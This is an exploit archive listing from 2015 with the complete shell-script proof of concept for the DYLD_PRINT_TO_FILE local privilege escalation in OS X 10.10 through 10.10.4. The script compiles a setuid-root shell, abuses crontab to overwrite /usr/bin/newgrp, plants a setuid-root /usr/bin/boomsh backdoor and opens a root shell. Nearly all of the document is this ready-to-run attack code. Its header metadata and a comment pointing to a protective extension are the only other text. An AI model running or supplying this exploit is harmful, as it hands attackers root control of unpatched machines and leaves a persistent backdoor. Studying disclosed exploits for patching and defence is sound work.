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OS X 10.10 DYLD_PRINT_TO_FILE Privilege Escalation

OS X 10.10 DYLD_PRINT_TO_FILE Privilege Escalation
Posted Jul 22, 2015
Authored by Stefan Esser

OS X version 10.10 DYLD_PRINT_TO_FILE local privilege escalation proof of concept exploit.

tags | exploit, local, proof of concept
systems | apple, osx
MD5 | 756dd5d0ac3ee01ba77776f95053f131

OS X 10.10 DYLD_PRINT_TO_FILE Privilege Escalation

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#!/bin/sh
#
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de>
#
# Wait months for a fix from Apple or install the following KEXT as protection
# https://github.com/sektioneins/SUIDGuard
#
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.

SUIDVICTIM=/usr/bin/newgrp

# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX

rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
printf("done.\n");
return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
int fd;
char buffer[1024];
ssize_t toread, numread;
ssize_t numwritten;
ssize_t size;

/* disable O_APPEND */
fcntl(3, F_SETFL, 0);
lseek(3, 0, SEEK_SET);

/* write file into it */
fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
, O_RDONLY, 0);
if (fd > 0) {

/* determine size */
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);

while (size > 0) {
if (size > sizeof(buffer)) {
toread = sizeof(buffer);
} else {
toread = size;
}

numread = read(fd, &buffer, toread);
if (numread < toread) {
fprintf(stderr, "problem reading\n");
_exit(2);
}
numwritten = write(3, &buffer, numread);
if (numread != numwritten) {
fprintf(stderr, "problem writing\n");
_exit(2);
}

size -= numwritten;

}

fsync(3);
close(fd);
} else {
fprintf(stderr, "Cannot open for reading\n");
}

return 0;
}
EOF

cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c

EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null

rm -rf $TARGET

/usr/bin/boomsh

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